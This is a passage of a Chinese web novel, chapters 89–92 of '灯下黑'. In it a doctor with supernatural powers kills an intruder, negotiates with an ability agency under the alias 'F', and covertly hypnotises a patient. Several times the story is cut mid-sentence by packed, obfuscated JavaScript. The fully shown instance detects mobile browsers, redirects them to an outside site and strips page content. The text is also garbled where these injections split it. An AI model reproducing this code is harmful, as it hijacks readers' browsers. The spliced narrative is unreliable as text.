“哎，你们找我谈有什么用。”简初把自己摔进沙发里，懒洋洋开口，“我只是个可怜的中间商，卑微的传话筒，你们别把压力都堆在我身上啊，平时光是上班就已经很辛苦了。” “……抱歉，是我们考虑不周，但你也知道我们联系不上你背后的那位，只能来找你了。” “你们的意思我知道了，但很遗憾，我现在并不能为你们提供任何帮助。”简初说，“向来都是他来联系我，我只能到时候将情况转告给他，由他来决定。” “那什么时候能得到回复呢？”电话那头的声音女声很平静，并没有被拒绝的羞恼。 “明天。”简初睨了一眼房门，再次重复，“明天中午，如果他同意了，我会直接去蓝湾总队找你们的。” “好，希望明天有一个美好的会面。” 电话挂断，那头传来“嘟嘟嘟”的忙音，她挂断电话，再次看向房门。 公寓里的布局和她离开时并没有什么不同，早上匆忙之间没有收拾的餐盘里，还有最后一口没吃完的硬面包边，简初走过去，伸手拨了拨陶瓷餐盘的边缘，却摸了一手粉末，跟大门把手上的一模一样。 出现在屋子里了，可不是个好信号，而且…… 简初转过身看向卧室房门，因为颜色的缘故，金色把手的边缘很明显也沾着白色的粉末，看上去似乎是有人一路从大门，进来绕过餐桌，下意识碰了一下餐盘，紧接着进入了她的卧室，而粉末是他沿路做下的标记。 不知道是希望她发现，还是不希望她发现。 但现在，有比这个更重要的问题，那就是这人，还在屋子里吗？ 看似随意的行动间，简初已经拉上了窗帘，因为只开了射灯，所以屋子里光线并不明亮，但想要看清周围也已经绰绰有余。 她顺便观察了其他的家具，但不管是肉眼还是触摸，都没有再发现类似的粉末，同样的，在大门的内侧把手上，也没有发现。 所以人还没走。 简初终于再一次将目光投向卧室，精神力缓慢但胸有成竹地蔓延过去，一个昏暗到几乎熄灭的光点出现在房间内，它正紧紧贴着房门旁的墙壁，一动不动。 一排薄如蝉翼，却异常锋利的窄瘦匕首出现在简初身侧，也多亏了窗台上颜和送的一整排多肉，她才能顺利使用异能。 她不再像之前一样轻松随意地趿拉着拖鞋，“啪嗒啪嗒”在屋子里乱走，而是赤着脚，轻轻慢慢地接近屋子里唯一一扇关闭着的房门。 两根油亮的触手从背后探出来，它们的半透明的根部如同一道金光，隐没在简初身上，不知它们究竟依附于何物。触手在空中打了个卷儿，偷感十足地游荡到了卧室门口，甚至还颇为人性化地“扭过头”，像两只忠诚的小狗，等待简初的指令。 洁白的木质房门此刻却宛如黑洞，无穷无尽地吸收着简初的注意力，不知不觉间，她紧盯着房门的眼神逐渐空洞，向前走的脚步也变得僵硬，而没有收到额外的指令，触手们依然乖乖地等在门口，时不时挑过来“看”她一眼，似乎在催促。 “噶哒。” 门把手突然动了，以一种非常缓慢的速度被缓慢按下，但简初毫无反应，直到她走到房门跟前，就这么呆愣地站着，看着门从内被打开。 一个黑色的人影显露在门缝里，房间里光线暗得出奇，看上去仿佛只有一只眼睛漂浮在空中。 他发出一声意味不明的哼笑，紧接着黑暗中闪过一道猩红的光，带着灼烫的热意直扑简初面门。 “铛！” 锐器相接，发出清脆的撞击声，一排薄刃织成细致的防御网，完全架住了从门缝里射出的武器。 这是一把烧红的刀，没有刀柄，上面布满交错的裂纹，看上去像是正在经受锻打的半成品。 下一秒，简初大步上前，砰的一声提脚踹开了门板，房内的人正处于攻击被拦截的惊愕，一时不察，后退两步被简初突入，只可惜这人装备齐全，一张脸只剩眼睛露在外面，简初无法看清对方的面容。 薄刃抬飞对方的武器，在空中旋成一扇螺旋，带着劲烈的刀风席卷而去，但房内的黑衣人已经反应过来，他一个抬手，掌心涌出一串明亮的火苗，将两人的脸映得通红，简初裸露在外的皮肤立刻感受到了灼烫刺痛，只能迅速使用异能抵消这热意。 【极寒领域】覆盖的范围不大，但聊胜于无，鲜红的火苗遇到骤冷的空气，气焰顿时有些萎靡，但那人并不后退，短暂惊讶过后反而胸有成竹地上前一步，再次缩短被简初拉开的距离。 火势突然爆开，竖成一道极高的火墙，发出呼呼的燃烧声，差点点着简初的眉毛，一旁的柜子已经被高温烤出油漆的味道，慢慢呈现出烧焦的色泽。 简初抬手做出抛掷的假动作，对方果然以为她要丢来什么东西，下意识向一侧躲避，却没想到黑色的触手已经等待多时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但下一秒，他眼中的黑色触手却突然变粗伸长，末端裂开一张腥臭的血盆大口，毒牙闪着莹绿色的微光，就直接冲着他的脑袋而来。 这是什么异能？！ 他下意识横刀格挡，却未曾想到毒蛇的虚影毫无阻碍地穿透了刀具，他头皮发麻，凭借着多年的战斗意识向地面扑倒，这才躲过，可还没等松口气，后背汗毛炸起，被凶兽锁定的感觉登时让他在地上狼狈地翻滚。 一把闪亮的长刀就这么直直戳在他刚才所在的位置，不知何时，这女人已经离开原本的位置，来到了他的身边。 不对劲，他平时的警惕心不可能这么差！ 简初冷笑一声，直接抬脚踹向对方毫无防备的柔软腹部，一脚下去，这人直接贴地倒飞出去，直到撞到墙壁才堪堪停下，另一边，蠢蠢欲动的触手们再次蜂拥而上，却在摸到对方衣角的瞬间被汹涌的火焰阻止。 熊熊燃烧的火焰直冲天花板，带来巨大的烟气和热度，让人喘不上气来，尽管窗帘拉着，按照这样的程度继续下去，外面绝对会有人报警。 黑衣人痛苦地捂着肚子扶墙站起来，透着火光，简初看见到对方眼里扑面而来的恶意与杀意。 “很好。” 随着意义不明的两个字咬牙切齿地落下，一道火光带着撕裂的疼痛从简初的右手腾然而起。 89. 灯下黑（89） 剧烈的疼痛瞬间侵蚀了简初的大脑，她能清晰地感受到自己的皮肤在皱缩，烈火宛如附骨之疽，迅速从指尖向上攀爬，眨眼间就已经蔓延至手肘。 但此时失去理智几乎会被判下死刑。 简初深深看了一眼火光中的人影，一根触手飞速收回，拉出一柄锐利的砍刀，沿着她的肩膀庖丁解牛般丝滑地剔掉了整条胳膊。 “啪嗒。” 黑衣人惊恐地看着那条胳膊掉落在地，烧焦的黑灰带着点火星子迸溅开来，不过两秒就被他的火焰吞噬殆尽。 他愣愣地对上简初的双眼，一时分不清那双眼里的火苗究竟是来自于何处。 疯子……这是个疯子！ 意志被瞬间消磨，取而代之的是强烈的退缩之意。 砍掉了一条胳膊，这女人竟然没有做任何紧急措施，就这么袒露着伤口，任由鲜血汩汩流淌，但很快，他就看到那条油亮的触手在伤口紧紧缠绕，仿佛寄生于人体的妖怪。 简初的右脸几乎被鲜血覆盖，只剩那双平静的眼在火焰中熠熠生辉。 跑！ 这几乎是下意识的生理反应，他顾不上腹部的隐隐作痛——也许是什么器官被踹碎了，不过这些已经不重要了，现在不跑怕是命都要没了。 简初脸色苍白，却像一个钉子般牢牢扎在地面，没有任何要倒下的迹象，平静的双眼后是几乎看不清外界的视觉，无数的黑色飘花从眼前掠过，但脑海中的精神力光点正灼灼昭示着黑衣人的行动轨迹。 他想破窗逃生。 在星际世界积攒下的战斗经验与意识在此刻发挥了超乎寻常的作用，两根触手依照简初的指令，一上一下瞬间追上了黑衣人，第三根触手则盯准对方的心口极速射出。 “砰！” 窗户碎裂的声音响起，黑衣人抢先一步跃出窗户，劫后余生的笑容刚刚出现在他脸上，没有一秒就凝固了—— 紧随而去的触手毫无惧意地冲破他周身的防御火焰，“嗤”的一声穿胸而过，尖端微微扬起，似乎是担心他会顺着重力的指引滑落下去。 黑衣人伸手握住胸前一截触手，鲜血从鼻腔嘴里往外溢，滴滴答答，却全被触手妥善地接住。 它慢慢悠悠往回缩，一点一点通过破碎的窗户，将人带回了屋内。 简初拄着手里的长刀，低头看向被送到自己面前的人，小触手非常狗腿地揭开了他脸上的面具，露出一张全然陌生的脸。 “现在方便说说，你是谁了吗？”简初用刀身拍了拍对方的脸，得到一个软弱无力的怒视，看样子颇有宁死不屈的意味。 他不会还想着跟自己拉扯几番吧。 简初突然感觉索然无味，有些厌倦了这种无休止的你追我赶，既然他不想说，那她就不问了。 “算了。” 男人还没来得及开口，就被简初一刀直接戳进嘴里，结束了这场闹剧。 “噔噔噔！” “解锁能力【焰灵】。” “焰灵：可燃物、助燃物、着火源，这是燃烧的三要素，由此可见，这是一个讲究科学的异能。你可以拥有无限产出的‘可燃物’，并且可以随时引燃它们，这也许是制造陷阱的好工具。” 短暂的沉寂之后，是系统噼里啪啦的播报声，吵的人脑壳生疼，简初终于无力地坐倒在地，静静聆听它给的所有信息，但在此之前，请允许她小小地插个队。 “已读取身体数据存档，即刻覆盖，该存档使用后已失效。” 简初朝左侧扭过头，她能感觉到自己的右肩在剧烈发痒，但她并不想看到这一幕，只能以这样别扭的造型坐在地上，直到胳膊重新长出来。 身上所有细碎的，被烧焦的伤口全部都消失了，眼前的黑暗被驱散，就连失去的鲜血都似乎回到了自己的身体里。 “呃。” 简初难耐地按住自己的额角，突如其来的疼痛在她大脑里咬了一口，转瞬即逝，但残余的痛感让她有些晕晕乎乎。 系统仍然在喋喋不休。 “发布第二个猎杀目标：李焱。” “猎杀目标李焱，已确认死亡，现发布奖励信息，请从下列关键词中进行选择。” “强烈的求生欲与敏锐的洞察力让你抢占先机，犹豫和贪心有时会带来巨变，但这一次你做出了果决且正确的选择。” “你将拥有本次猎杀任务的全部奖励信息。” 系统竟然在她得手后才发布了猎杀目标，也许是自己动手的时间并不在它的计划中，但从结果看，这并不是一件坏事。 “你可以使用两条奖励信息，解锁一条更高权限的信息，请于三十秒内做出决定。” 正在缓解疼痛的简初一怔，像根弹簧一样挺直了腰背，仔细思考系统的话。 数量和质量，二选一，那当然是选择后者。 “解锁。”简初在脑中回复。 “你获取了一条高权限数据。” “吴起的死亡并不意味着集会的落幕，相反，有无数的天选会成员竞相成为集会的主办人，但其中只有极少数人有候选资格，推迟的集会给了他们表演的机会，他们需要足够的祭品来获得‘神使’的青睐。” “集会将于一周后，在蓝湾最接近‘神’的地方举行。” “任务更新。” “任务目标：调查系列案件背后的真相（旧）更新为全力阻止集会的顺利进行（新）。” 不愧是献祭两条奖励换来的信息，简初咋舌。 她正愁该用什么加重自己与异能署合作的筹码，此时的信息不亚于雪中送炭，但这还是第一次遇到任务中途直接更换目标的情况。 也许是旧任务已经被囊括在新任务中，又或许，真相现在已经不重要了。 简初低头打了个响指，指尖跳起一朵明亮的火团，作为使用者，她并没有感受到任何不适，反倒是感觉有一团温凉的东西包裹着她的指尖。 地上的鲜血缓缓蔓延，简初皱皱眉，左手一挥，一团白色的粉末均匀地洒落在尸体上，瞬间无数火苗从粉末处炸起，迅速吞噬着这具躯体。 地板开始出现黑色的痕迹，简初凝神，试图控制火焰的燃烧范围，很快，地板与尸体之间仿佛多了一层绝缘体，直到李焱就此消失，地板都没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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异能署向她发出了工作邀请，虽然只是临时的。 “不要紧张小姑娘。” 温南听到有人凑过来跟自己说话，连忙迅速转过头来，宋也看见这姑娘眼睛瞪大，像一只受惊但仍然努力控制自己的小猫，没忍住笑出了声。 香香的味道钻进温南的鼻子，让她不禁脸红了红。 “你之前跟刘迪约见，不也是考虑异能者们聚集在一起，会更有安全感吗，我们可比他们可靠多了，而且异能署的工作待遇也比你现在好很多。”宋也笑眯眯，“不着急，你可以等这边事情都结束了，再做决定，现在就当是实习了。” “不过我还是很期待你来的。” “谢谢宋姐姐。”温南低声回答。 尽管另一个世界的她算是身经百战，但比起穿越，自己更像是在那个躯体里旁观她经历的一切，胆大心细身手利落的人是她，而不是自己。 也许在异能署，自己可以变得更加强大。 宋也看温南表情严肃，就知道她是认真在考虑，原本只剩三分的嫌疑又少了一些，看来目前的突破口只能在简初身上了。 正当她如此想着，路玺那边就挂断电话，抬头扫视全场。 “简初出发了。” 90. 灯下黑（90） 冷。 这是简初踏入顶楼的第一感受，随之而来的是几位“熟人”严肃的凝视，她一个个看过去，随后了然地转过头，身后重新上行的电梯打开，出现两张相似的面庞。 他们这次跟踪真的非常谨慎，她对此毫无察觉，该说不愧是异能署的人吗？ 几人进行了一番简单的交流，简初便跟着他们进了办公室，入眼就看见一个更加熟悉的面孔。 “温南？你怎么在这？”简初挑挑眉。 她知道异能署肯定会在温南身上做工作，但没想到这是要把她吸纳进来的节奏。 “简医生。”温南有些拘谨地站起来打了个招呼。 她现在看待简初，有着“救命恩人”和“主治医生”的双重buff加成，自然显得有一些紧张，不过眼里透着的更多是友好和信任。 “温小姐已经决定加入我们了。”宋也朝温南使了个眼色，“也许以后你们还有合作的机会呢。” “是……是的。”温南迅速点头。 简初笑了笑，并不接话，而是自在地坐在了马瑞安的对面，从现在开始，她言行都要符合全新的人设。 “马组长，幸会。” 面容和声音都没有变，但气质完全变成了另一个人，这让所有人迅速拉响警钟，路玺陡然站起身，半挡在马瑞安面前，似乎是担心她突然做什么，但却被身后的人伸手阻止了。 众人愕然，只有顾杰羽若有所思地打量着简初的脸。 “很高兴你们接受了我的提议，事实上，我们互相需要彼此的支持，来补足地图上缺失的部分。”简初后仰靠在椅背上，下巴微微扬起，双手自然地搭在扶手上，派头倒是不小。 不知道其他人是什么感受，反正她自己挺爽的。 “不知道该如何称呼？”马瑞安的表情倒是看不出什么，“该称先生还是女士？” “这不重要，叫我F就好。” 为了避免对方从她取名的偏好进行性格推断，这代号是简初抓阄选出来的。 “我不想在表面文章上浪费太多时间，先让我看看你们合作的诚意吧。”简初微微低下头，眼神陡然变得锐利，“作为那两条消息的交换，你们准备提供什么呢？” 简初将视线投向犹豫不决的易骄，轻笑一声：“想看就看，你现在应该能读到她身上的异能波动？” 没想到这人居然知道易骄的能力，路玺不免露了些许凝重，他点点头，易骄便抿抿唇走了过去，而易阳亦步亦趋跟在后头，看上去很担心简初会做什么。 易骄小心伸手碰了碰简初举起来的掌心，意料之中读到了精神系的异能波动。这很符合她的预期，毕竟F此时借助简初的身体跟他们对话，只有精神系的异能才能达到这样的效果，但再具体的就不能妄下定论了。 简初垂着眼帘，直到易骄重新回去坐下，才抬眼看向路玺。 【唱诗班】在这个时候，发挥了无法替代的作用。 “可以了？那我们继续之前的话题吧。”简初做出一个“请”的手势，便老神在在地等着他们开口。周围几人里，张国栋和温南的表情都带着明显的不知所措，他们以往从未接触过这样的场面，此时只能做一只老实的鹌鹑。 “集会并没有取消，新的主办人正在竞选中。”马瑞安毫不犹豫开口，这条信息的价值并不在于内容本身，而是在于它释放的信号。 很可惜，如果自己没有得到奖励信息，这或许是一条很有价值的消息，但作为合作的诚意，也已经足够了。 “第二，”马瑞安的眼神紧紧锁定她的表情，“浸染。” 什么？ 听到一个前所未有的词汇，简初下意识露出茫然的表情，尽管她迅速反应过来，竭力控制了表情，但这一点破绽已经被马瑞安捕捉到。 简初从他陡然放松的姿态看出，这两个字代表的含义绝对没有那么简单，这是他们的试探，用来揣测自己知道的信息到底达到了怎样的层面。 虽然不甘心，但他们确实成功了，而自己也确实对“浸染”背后的深意产生了兴趣。 简初无所谓地笑了笑：“我们可以谈谈合作的事情了？” “简初会作为我的代言人和你们交流，虽然很抱歉，但请允许我考虑自己的安全，暂时避免和你们的直接接触。”她非常有礼貌地颔首示意，“我们的目标是一致的，但行动各自安排，互不影响，如果不巧相遇，我并不反感和你们联手。” 她现在还需要足够的自由度，这样的安排是最适合当下情况的。 “照这样的安排，我并不能看到你合作的诚意。”路玺开口道。 “我以为信息共享已经足够了，毕竟你们异能署实力强大，我也担心你们给我设套啊。”简初侧头看向他。 但路玺并不被她的话带着走：“既然你这么说，就应该知道我们手里的信息绝对比你多，信息共享对我们来说并不公平。” 原本和谐的氛围突然变得有些剑拔弩张，温南下意识缩了缩脖子，尽力缩小自己的存在感。 “哎，不要急，大家好好商量，F你的提议确实很让我们吃亏啊，既然是合作，双方的投入与收获当然是要成正比的。”宋也唱起了白脸。 面对众人的视线，简初自在地双手交叉托着下巴，丝毫没有陷入N对1的紧张，淡定地开口：“宋组长，你要知道，数量不代表质量，也许你们缺少的关键一环就在我手里呢？” “为表诚意，我将为你们补足几起案件里缺失的部分，希望能为你们的后续行动有所帮助。” 简初说着，从怀里掏出一张折了好几次的纸，放在了桌面上。 “另外，还请你们不要为难我的代言人，毕竟一个从不多话的合作者可是很难遇到的，各位，期待我们下一次的交流。” “等等！”路玺猛然站起身，但已经晚了一步，简初的眉目舒展开来，不再是那副习惯压低眉头的表情。 “结束了？”简初看到面前的纸张，“看来你们谈得还算顺利，那我这次的任务应该算是完成了。” 她抬头看着面前沉默的路玺，另一边的易骄再次走上前来摸了摸她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13422856|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手，转身摇了摇头。 “你……” “停！”简初伸手阻止对方的话，“我对你们之间的谈话毫无兴趣，你们既然已经见过，就应该知道我只是一个中间商罢了。” “虽然如此，但事到如今，我们需要确保你的安全，不管你是否主观愿意，都已经卷入其中，未来也许会有人对你出手，来打破我们和F的合作关系。”顾杰羽和马瑞安隐秘地对视一眼，开口道，“医院人多眼杂，我们会向上级申请，减少你的工作安排，来确保你的机动性，希望你能理解。” “温南这边需要你的治疗，我们会以此为由，让你可以自由进出蓝湾总队。” 突然听到自己的名字，温南立刻挺直腰杆看了过来，对上简初的眼神，又慢慢弯了回去。 顾杰羽解释道：“你在医院的工作是可以被别人取代的，但这里，缺你不可。” 宋也同样看了过来：“另外，我们需要确认，F能保证你的安全吗？” F的话里话外，都透着很看重简初的意思，如果他能确保简初的安全，就可以解放他们的人手。 “嗯，他跟我保证过。”简初低声道。 顾杰羽的话虽然不好听，但也是事实，她的医术再好，目前也越不过前辈老师们，换个角度看，解决掉一个天选会的成员，也可以救下更多的人。 “能帮到温南也算是件好事。”简初面色有些惆怅，但还是“强忍着”，朝温南露出一个笑容，看得对方无比歉疚。 温南抿抿唇，虽然这些决定与自己无关，但…… “我有些累了，可以回去了吗？”简初开口道，“下午还有很多病人，至少要把今天的班好好上完。” 目送着易阳带着简初离开，办公室里不知道是谁长长叹息了一声。 宋也走过去，拿起桌上的纸打开，一目十行迅速扫过，她摇摇头，情不自禁赞叹了一声：“哇哦，看看这个。” 她将纸递给马瑞安，随后在众人手里传阅了一遍，等纸条传到温南手里的时候，她还有些不敢置信，他们竟然把这东西给自己看了。 “我第一次见到描述得这么详细的异能，还是三个。” 天知道简初已经尽量简略了。 “我现在有点怀疑，F到底有没有同伴了。”宋也举着那张最后又传回自己手里的纸条，“独自一人能做到这种程度，反正我不太信。” 马瑞安吸了口没点燃的干巴巴的香烟，将目光投向了温南：“你接触过刘迪，他的异能是这个吗？” “他当时跟我说的比较模糊，但我确实看到他伤口愈合了，跟着上面写的差不多。”温南斟酌着开口，“刘迪力气确实异于常人，不是那种能锻炼出来的强壮，现在想来应该是异能的作用。” 虽然此前已经说过这些信息，但温南还是紧张地重复了一遍，看到马瑞安点头，才稍稍放松。 刘迪、章平都被简初和F阻止，他们的坦诚洗清了自己的嫌疑，而之后，简初还要为自己继续看病治疗。 简医生真是个大好人。温南心想。 91. 灯下黑（91） 蓝湾总队的通知很快抵达了医院，面对老师担心的询问，简初只能用“被要求保密”的借口回应了对方。 另一边，系统已经给了足够的提示，系列案件背后的真相与集会一定有着密不可分的联系，而李焱的出现更是一个相当危险的信号。 对方必然是天选会的成员，不会有别的可能性，但问题是，他是从哪里找到自己的？ 既然李焱能如此悄无声息地摸过来，几乎没有任何试探地对她出手，那必然有一个可靠的消息来源，简初记忆力很不错，但她很确定自己此前从未跟这人有过交集，当时的夜店里也没有这一号人出现。 她必须要做好自己已经暴露的心理准备，也许真正想试探她的是别人，而李焱不过是对方使用的一枚棋子，但好消息是，李焱显然并不清楚她的异能，这让简初稍微轻松了一些。 正如系统的提示，她需要底牌，而现在，手里的各种异能是她的靠山。 “简医生，我已经到你公寓楼下了，可以直接上去吗？”电话那头传来了温南有些不自在的声线。 原本异能署是希望简初可以在蓝湾总队的办公室给温南看诊，但不管是出于身份保密，还是考虑到那边环境不适合治疗，最后都没有采纳这个建议。 最终定下来的安排就是，检查去医院，平时来家里，于是今天一早温南就过来了。 还是带着任务来的。 “你上来吧，十六楼，门开着。”简初说。 房里的烧焦痕迹已经被处理完，尽管为此出了不少血，钱包都有点不堪重负，但效果还是不错的。 “打扰了……”温南小心翼翼地探出头，看见家里没有其他人在，才稍微放松了一点。 “随便坐，家里没别人，你想喝点什么，牛奶咖啡纯净水？”简初问道，在温南说出“随便”之前，再次开口，“挑一个你喜欢的，什么都可以，你放松下来有助于我们之后的诊疗。” 温南咽下已经到了嘴边的话，想了想说：“拿铁谢谢，可以的话双倍的奶，加冰。” 说完，她得到简初意味深长的眼神，才后知后觉反应过来，自己的要求也许会给人添上不少麻烦。 她似乎太过得意忘形了。温南懊恼。 “抱歉，我……” “你稍微等一会，那边书柜里可以自己找点东西看。”简初抢先说道。 咖啡的香气钻入鼻尖，温南下意识顺从她的话，站起身走向书柜。玻璃的橱窗里面整齐码放了很多书籍，看起来有被爱护，书脊看上去都非常干净，旧书都用透明的塑料封皮包裹着。 温南就这么一排排看过去，看到感兴趣的书名便抽出来看一眼简介，她冷不丁想起了被交代的任务，一时之间有些犹豫。 她下意识扭头看了一眼简初，对方正在认真做咖啡，大概想不到她已经受到如此的帮助，竟然还会怀着不能为人所知的心思。 温南转回去，从口袋里拿出什么，插进了书本之间的缝隙里，一眼看去跟之前别无二致。 “怎么，没有找到想看的吗？” 简初冷不丁出声，让温南吓得一哆嗦，她没有去想为什么没听见对方的脚步声，只当是自己太过投入。 “想着你很快就会过来，就没有拿了。”温南勉强笑了一声，走到沙发边坐下。面前的骨瓷杯里，剔透的冰块在咖啡里浮浮沉沉，就像她的心情一样不受控制。 她努力控制自己的眼神不要往那边看，余光却瞥见简初走到书柜前上下打量，心不禁提到了嗓子眼，直到对方走到她面前坐下，才堪堪平复了心跳。 “这是之前的检查结果，想着应该需要我就都带来了。”温南将手边的大塑料袋递过去，却没想到简初接过后只是将它放在了一边。 “先不急，你最近情况怎么样，之前的症状还有出现过吗？”简初问。 “呃，还是有的，不过大概因为我已经习惯了，所以头疼什么的没有那么难以忍受。”温南乖乖回答，关系到自己的身体健康，她还是很上心的。 “反应迟钝的情况呢，还会出现吗？”简初问道，“你之前不是有发呆的症状，现在没有了吗？” 温南努力回想了一下，有些不确定地开口：“我不知道算不算发呆，因为最近烦心事比较多，我常常胡思乱想，有时候想着想着突然回过神，会忘记自己之前在想什么。” 她的表情很是苦恼，但刚进门时的拘束已经消失不见了。 “我明白了。” 简初迅速看过温南的检查结果，意料之中的没什么问题，她站起身，打开了书柜旁边的音响。音乐声开得不小，但神奇的是没什么嘈杂的感觉，反倒让人平静下来。 拿铁放在一边没被动过，比起饮品，它更像是扮演了一个安慰剂的角色，冰块化了一半，在最上方凝了一滩浅浅的透明层。 简初走回来，坐到了温南的身边：“我要开始给你舒缓治疗了，闭上眼，先放空你的大脑，什么都不要想。” 温南眼底映着简初的面孔，那双眼睛宛如漩涡般，将她的一切思绪都吸纳进去，直到她按照对方的话，缓缓闭上了眼。 “现在，想象你现在坐在一个温暖和煦的小花园，旁边有人，或者你喜欢的小动物在陪你晒太阳，温柔的风带着青草香气吹在你脸上，你觉得有些昏昏欲睡。” 年轻人的呼吸变得缓和安稳，随着简初伸手触碰温南的手背，一道精神力以极其迅捷的速度沿着脉络进入了精神空间，那颗带着裂缝的核心再一次出现在她面前。 看起来跟上一次并没有什么区别。 精神力紊乱综合征的病程很长，联邦的异能者往往人到中年才会出现暴走的情况。因此在还没有发现这个病的时候，流行的说法是异能的上限只有三十年，超出则会对使用者造成不可逆转的伤害。 但之后的研究显示，异能者的精神核心早就开始经历漫长的损伤，也是从那时，联邦才开始培养精神控制方面的专业人员。 简初根据治疗手册的内容，小心翼翼地控制着精神力触碰裂缝，果然在裂隙的边缘感受到了暴动的能量，它们带着细微的电流，在简初的精神力压制下变得稍微乖顺了些。 按照正常流程，应当等精神力引导能量释放后才会出现暂时的平衡，但此时，这份平静似乎来得过早了。 见温南没有什么不适，简初便继续按照手册的指引操作，很快，她就“看到”小触手不太安分地探了出来，金色的尖端从精神力中冒出头，但它并没有擅自行动，只是在裂缝的周围逡巡。 随着小触手每一次的偷偷碰触，裂缝周围的能量便少一些，而这股暴乱的能量顺着触手反馈到简初的大脑中，却没有带来任何不适 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“现在，”简初喉头动了动，有些艰难地开口，“你回到了那个世界，你有些茫然，想要知道现在的情况，于是你打开终端，确认了此时的时间和自己的位置。” “现在是什么日子？” “新星历1582年10月36号上午9点24分。”温南非常流利地回答，让简初的呼吸无法控制地急促了几分。 “你现在在哪儿？” “我在联邦主星北亢区……不……我在中央城区，呃，我、我在……”温南的话语变得断断续续，脸上出现明显的挣扎，看上去她并不清楚自己此时应当身处何方。 为什么会这样？ 【唱诗班】的效果已经到极限了，而简初也拿到了自己想要的信息，尽管随之而来的是更多的疑问。 下一秒，悦耳的音乐铃声打断了她的思绪，简初豁然抬头，就看到面前的人即将被惊醒。 “你感觉怎么样？”她将手里的咖啡递过去，温南的注意力被顺理成章地转移，并下意识接过拿铁喝了一口。 “抱歉，我刚刚是不是睡着了？”温南说。 “催眠疗法，在我看来很顺利，不过这是个长期的工作，你最近的压力太大了，已经超过你身体能承受的水平。”简初这话说得一点不错，温南不假思索地接受了。 “这几天回去可以注意记录一下情况，我们下次就约在后天？”简初说道，“给我一点发挥作用的空间，毕竟他们‘雇佣’了我。” 面对简初恳切的表情，温南点了点头。 “刚刚有你的电话，不过为了避免打断治疗，被我拒掉了。”简初将手机递过去，没有错过温南在看到界面时脸上闪过的一丝慌乱。 “那我送你下楼，还有，麻烦帮我带个话，F明天会去蓝湾总队，希望你们做好准备。” 92. 灯下黑（92） 温南离开公寓小区后又走了很远，才在僻静处拿出手机回拨了电话。 “温南！你没事吧？电话怎么没接？”那头迅速接起，易骄的声音里带着让她不明所以的焦急。 “我没事啊，刚从简医生家里出来。”温南下意识转过头看了一眼身后的公寓楼，从头顶照下的阳光让她眯了眯眼，“因为在治疗，怕打扰就拒接了。” 电话那头陷入了短暂的沉默。 “没事就好，你早些回来吧。” 电话里终究不方便交谈，温南挂断电话，重新将手机揣进口袋，摸了摸脑袋。 不知道是不是心理作用，她觉得自己的头好像没有那么疼了。 很快，温南就抵达了蓝湾总队。 办公室里人并不齐全，顾杰羽作为“本地人”，带着路玺和易阳在外头实地调查，主要是针对吴起的社会交往关系，毕竟相比之下，刘、章二人只能算他手下的小喽啰，听命行事，很难接触到天选会内部更深层的东西。 听见有人开门，易骄迅速抬起头，朝温南招了招手：“回来了，坐这边。” 温南本想着还坐在自己昨天的位置上，这下只能乖乖在易骄身边落座，她的另一边则是一脸关切的宋也。 “感觉怎么样？她对你做了什么？” “应该是催眠？”温南不确定地说，“大概是让我想象一个小花园，放松精神之类的，后来我好像就睡着了……” 宋也伸手点了点下巴：“没想到她还会这个，回头能不能给我做一次，我压力也很大啊。” 语气很微妙，听上去并不像是欣赏。 温南喝了口水：“对了，给我打电话是有什么事吗？我听易骄你的声音还挺着急的。” 她本以为是遇到了什么麻烦，但看这几人面色都还算平和，并不像电话里那样火急火燎。 易骄看了眼宋也，无奈地耸耸肩：“你装的那个探测器，还没运作多久就断了。” “……什……什么？”温南愣住。 宋也一眼就看出这姑娘在想什么：“别多想，没有指责你的意思，我们只是在想是不是简初发现了什么，所以担心她对你动手。” 探测仪的主要功能是监控异能波动，附带监听功能，他们主要是想知道F是如何跟简初保持沟通的，因为目前已知的类似异能，都无法频繁地应用在同一个对象身上，轻则会造成长时间持续头痛，重则会直接让人疯掉。 “不会的，而且我有异能，她要是想做什么我可以逃开。”温南抿抿唇，安抚道。 宋也只觉得这小姑娘还挺天真，需要让她更加警觉一点：“探测仪损坏之前，我们监测到了精神系异能的波动，不出意外的话应该是F，如果他要对你动手，你能逃吗？” “刘迪和章平我不做评价，但是吴起很强，至少比你强得多，他搞了四层幻境最后都没能逃过死亡，你觉得你比他厉害？” 宋也说着，就看到面前的女孩张张嘴，没能说出话来，但她见了这么多大风大浪，哪能看不出温南的内心并没有因此升起足够的警惕，她对简初的信任来得很奇怪，并且超出了正常的水平。 “可简初一直正常地跟我讲话，怎么会……”温南弱弱开口。 “谁知道呢，总之我们对他们的掌握还不多，一切小心为上。”宋也再次强调，“在这样的时局，怀有警惕之心才是正确的。” “也许是F发现了你的小动作，便出手扫除了麻烦，不过也不用太过紧张，毕竟你现在安全回来了，说明他们并不在意这件事。” “这件事到此为止，如果F不主动提起，我们就当没发生过。”马瑞安开口结束了这个话题，“易骄，路玺那边有消息了吗？” “刚刚他们发了一份名单过来，我和张警官正准备去调档案。”易骄说。 “好，你们去吧，抓紧时间。”马瑞安点点头，看向温南，“你也跟着去吧。” “啊，好的。”温南连忙点头，她跟着向外走了两步，才突然想起什么，连忙回过头说道，“还有！简初说F明天会来，让……做好准备。” 